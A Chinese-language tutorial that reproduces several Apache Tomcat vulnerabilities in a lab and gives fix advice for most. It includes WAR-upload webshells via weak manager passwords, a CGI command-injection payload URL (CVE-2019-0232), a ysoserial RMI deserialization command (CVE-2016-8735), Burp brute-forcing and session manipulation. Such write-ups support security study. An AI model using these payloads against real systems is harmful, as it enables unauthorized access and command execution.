Tomcat简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。
Tomcat常见漏洞整理:
后台弱口令上传war包Getshell漏洞
1、修改conf/tomcat-users.xml文件的中配置用户的权限:
Configuring Manager Application Access
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
2、我们访问:
http://test.com:8080/manager/html/
输入弱密码:tomcat:tomcat。登陆到后台
3、选择一个jsp生成war包并且上传
jar -cvf job.war job.jsp
or
zip -r job.zip job.jsp && mv job.zip job.war
上传成功我们可以看到返回包的路径
访问:
http://test.com:8080/上传war包名/文件名
例如:
http://test.com:8080/job/job.jsp
PUT方法任意文件写入(CVE-2017-12615)
修改/conf/web.xml
直接PUT方法发送数据包即可在Web根目录写入shell:
(readonly=false)
成功写入文件,之后访问一下web根目录
(readonly=true)
更改配置之后返回403,不再可以写入
远程代码执行(CVE-2019-0232)
影响版本:
9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影响系统及条件:
Windows
启用了CGI Servlet(默认为关闭)
启用了enableCmdLineArguments(Tomcat 9.0.*及后续版本默认关闭)
1、环境搭建:
#本次使用的环境为:
Windows 10
jre:1.8.0_241
apache-tomcat-8.5.39
(1)、启用CGI Servlet(修改conf/web.xml)
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
(2)、给予CGI_Servlet启动权限(修改conf/content.xml)
<Context privileged="true">
(3)、在webapps\ROOT\WEB-INF新建一个cgi目录(这个取决于
cgiPathPrefix的param-value的值”WEB-INF/cgi”)然后新建一个test.bat内容任意。
2、漏洞复现:
payload:
http://localhost:8080/cgi-bin/test.bat?&dir
http://localhost:8080/cgi-bin/test.bat?&C:/WINDOWS/system32/net+user
3、修复建议:
1、安装Apache Tomcat官方补丁升级进行防护
2、将CGI Servlet初始化参数enableCmdLineArguments设置为false
manager 暴力破解(burp)
1、环境搭建
添加如下代码:(在conf/tomcat-users.xml)
<role rolename="tomcat-gui"/>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
<user username="admin" password="123456" roles="tomcat-gui,manager-gui,manager-script"/>
2、使用burp进行暴力破解:
(1)、访问 http://localhost:8080/manager/html 截取如下包:
(2)、发送到intruder模块之后标记 dG9tY2F0OjEyMzQ1Ng
payload type选择custom iterator
position 设置为3
(其中第一个为用户字典)
(第二个为:)
(第三个为密码字典)
最后添加如下rule和取消url编码
(3)、开始爆破之后成功返回 200
进行解码
3、修复建议:
如果没有必要取消manager功能
设置复杂性高的密码
设置manager只允许本地IP访问
反序列化漏洞(CVE-2016-8735)
影响版本:
9.0.0.M1 ~ 9.0.0.M11
8.5.0 ~ 8.5.6
8.0.0.RC1 ~ 8.0.38
7.0.0 ~ 7.0.72
6.0.0 ~ 6.0.47
1、环境搭建:
#本次使用的环境为:
Windows 7
jre:1.7.0_80
apache-tomcat-8.5.39
(1)、启用JmxRemoteLifecycleListener功能监听(在conf/server.xml)
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
(2)、下载对应版本的catalina-jmx-remote.jar包和groovy-2.3.9.jar包,放到tomcat的lib目录下。
(3)、修改bin/catalina.bat,在Execute The Requested Command上面添加内容
set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
#后面两个false分别代表:指定不使用SSL通讯、指定不需要密码验证
(4)、修改完成之后启动tomcat,查看10001和10002的RMI服务端口是否运行。
2、漏洞复现:
使用ysoserial发送payload
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.11.14 10001 Groovy1 calc.exe
成功弹出计算器(在使用jre-1.8.0_241的时候出现报错)
另外,POC的编写可以参考:https://blog.spoock.com/2019/09/20/cve-2016-8735/
3、修复建议:
更新对应的版本;
关闭JmxRemoteLifecycleListener功能,对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。
样例目录session操控漏洞
1、漏洞分析:
在webapps\examples\servlets\sessions.html
String dataName = request.getParameter("<font color="#009900">dataName</font>");//获取dataname参数的值
if (dataName != null && dataName.length() > 0) {
String dataValue = request.getParameter("<font color="#009900">dataValue</font>");//获取dataValue参数的值
session.setAttribute(dataName, dataValue);//将dataname和datavalue写入session
}
通过表单用户提交的name和value这两个参数值。由request.getParameter()函数来获取这两个值,然后通过session.setAttribute()传递给session。从而可以通过前端页面去控制session的值来获取管理员权限。
2、环境搭建
#本次使用的环境
jre:1.7.0_80
apache-tomcat-8.5.39
在webapps\examples新建三个页面模拟登陆页面操控session获取权限
3、复现过程
(1)、访问登陆页面并抓包
http://192.168.11.14:8080/examples/index.jsp
由于没有管理员的session所以被302重定向到了login.jsp
(2)、操作session进入后台
打开:SessionExample
http://192.168.11.14:8080/examples/servlets/servlet/SessionExample
输入login:admin并且提交
提交后提示已经写入sessio
再次访问
http://192.168.11.14:8080/examples/index.jsp
这个时候提示登陆成功
本地提权漏洞(CVE-2016-1240)
参考:https://www.jianshu.com/p/94e4feac245f
- 笔者初衷用于分享与交流网络知识,若读者因此作出任何危害网络安全行为后果自负,与作者无关!